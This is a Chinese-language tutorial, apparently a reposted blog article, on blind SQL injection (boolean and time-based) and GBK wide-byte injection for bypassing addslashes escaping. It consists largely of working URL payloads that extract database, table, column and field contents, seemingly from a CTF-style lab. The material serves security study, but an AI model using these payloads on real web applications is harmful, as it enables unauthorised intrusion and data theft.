盲注
有時目標存在注入,但在頁面上沒有任何回顯,此時,我們需要利用一些方法進行判斷或者嘗試得到數據,這個過程稱之為盲注。
時間盲注其實和布爾盲注其實沒有什么太大的區別,只不過是一個依靠頁面是否正常判斷,一個是否延時判斷,在操作上其實也差不多,只不過時間注入多一個if()
布爾盲注
布爾很明顯就是true和false,也就是說它只會根據信息返回true和false,也就是沒有了之前的報錯信息。
時間盲注
界面返回值只有一種true,無論輸入任何值,返回情況都會按照正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。
盲注函數
length() 函數 返回字符串的長度
?id=1 and length(database())>1
substr() 截取字符串 , 從第一位截取一個
?id=1 and substr(database(),1,1)="k"
ord()/ascii() 返回字符的ascii碼
?id=1 and ord(substr(database(),1,1))=107
limit 0,1 顯示第一條
substr(截取的內容,截取的位數,截取的個數)
substr(database(),1,1) 顯示第一位字符
時間型:sleep(n) 將程序掛起一段時間,n為n秒
if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句,如果錯誤執行第三個語句
?id=1" and if(length(database())=8,1,sleep(5))-- +
演示語句
猜數據庫的長度; ?id=1 and (length(database()))>11# 猜測數據庫的庫名: ?id=1 and ascii(substr(database(),1,1))>1# 猜表名(示例為查詢第一個表名) and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //注意括號問題 and substr((select table_name from information_schema.tables where table_schema="kanwolongxia" limit 0,1),1,1)="l" 猜第一個字段名第一個字符: and substr((select column_name from information_schema.columns where table_name="loflag" limit 0,1),1,1)="i" 猜第一個字段名第二個字符: and substr((select column_name from information_schema.columns where table_name="loflag" limit 0,1),2,1)="i" 猜第二個字段名: and substr((select column_name from information_schema.columns where table_name="loflag" limit 1,1),2,1)="l"# 猜字段中的內容: and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122 時間盲注猜測數據庫的長度: ?id=1" and if(length(database())=12,sleep(5),1) -- + 猜測數據庫的庫名: if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+ 猜測數據庫中表的長度: ?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- + 猜測數據庫中的表名: ?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- + 猜測表中的字段名的長度: ?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="loflag" limit 0,1))=2,sleep(5),111) -- + 猜測表中的字段名: ?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="loflag" limit 0,1),1,1))=73,sleep(5),111) -- + 猜測字段中內容的長度: ?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- + 猜測字段中的內容: ?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +
burp抓包演示
先判斷長度,再判斷內容
寬字節注入
php魔術函數
- magic_quotes_gpc(魔術引號開關)——> 防御sql注入
- magic_quotes_gpc函數在php中的作用是判斷解析用戶提交的數據,如包括有:post、get、cookie過來的數據增加轉義字符“”,以確保這些數據不會引起程序,特別是數據庫語句因為特殊字符引起的污染而出現致命的錯誤,防止注入使其無法閉合。
- 單引號(’)、雙引號(”)、反斜線()等字符都會被加上反斜線
開啟方式
php在版本5.4開始將魔術引號的設置轉化為特定函數addalashes()使用,$b = addcslashes($_REQUEST[8]);
不在配置文件中打開【原因是將安全編碼交給了用戶自己,避免用戶過度依賴造成安全隱患】,或者在php.ini中修改。
開啟效果
作用
當PHP的傳參中有特殊字符就會再前面加轉義字符’’,來做一定的過濾
繞過方法
單引號和雙引號內的一切都是字符串,那我們輸入的東西如果不能閉合掉單引號和雙引號,我們的輸入就不會當作代碼執行,就無法產生SQL注入,那我們該怎么辦?
- 不需要閉合
-
仔細查看作用域(
POST、GET、COOKIE
),$_SERVER
就在作用域之外。 - 寬字節注入
寬字節注入
盡管現在呼吁所有的程序都使用unicode編碼,所有的網站都使用utf-8編碼,來一個統一的國際規范。但仍然有很多,包括國內及國外(特別是非英語國家)的一些cms,仍然使用著自己國家的一套編碼,比如我國的gbk、gb2312,作為自己默認的編碼類型。也有一些cms為了考慮老用戶,推出了gbk和utf-8兩個版本(例如:dedecms)
我們就以gbk字符編碼為例,拉開帷幕。GBK【雙字符編碼】全稱《漢字內碼擴展規范》,gbk是一種多字符編碼【多個字符組在一起成為一個字】。他使用了雙字節編碼方案,因為雙字節編碼所以gbk編碼漢字,占用2個字節。一個utf-8編碼的漢字,占用3個字節。
- 核心:傳一個字符將反斜杠吃掉成為漢字
- 數據庫使用GBK編碼可能存在寬字節注入
-
MySql的編碼設置:
SET NAMES 'gbk'
或是SET character_set_client =gbk
- 寬字節SQL注入就是PHP發送請求到MySql時使用了語句
-
SET NAMES 'gbk'
或是SET character_set_client =gbk
進行了一次編碼,但是又由于一些不經意的字符集轉換導致了寬字節注入。 - %df 、%9c ——>漢字
-
繞過其中的單引號等字符,除了采用嵌套法
?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
-
也可以采用十六進制標識法
?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
- 寬字節注入可以直接傳入漢字
總結
到此這篇關于SQL注入篇學習之盲注/寬字節注入的文章就介紹到這了,更多相關SQL盲注/寬字節注入內容請搜索服務器之家以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持服務器之家!
原文地址:https://blog.csdn.net/m0_55854679/article/details/122356329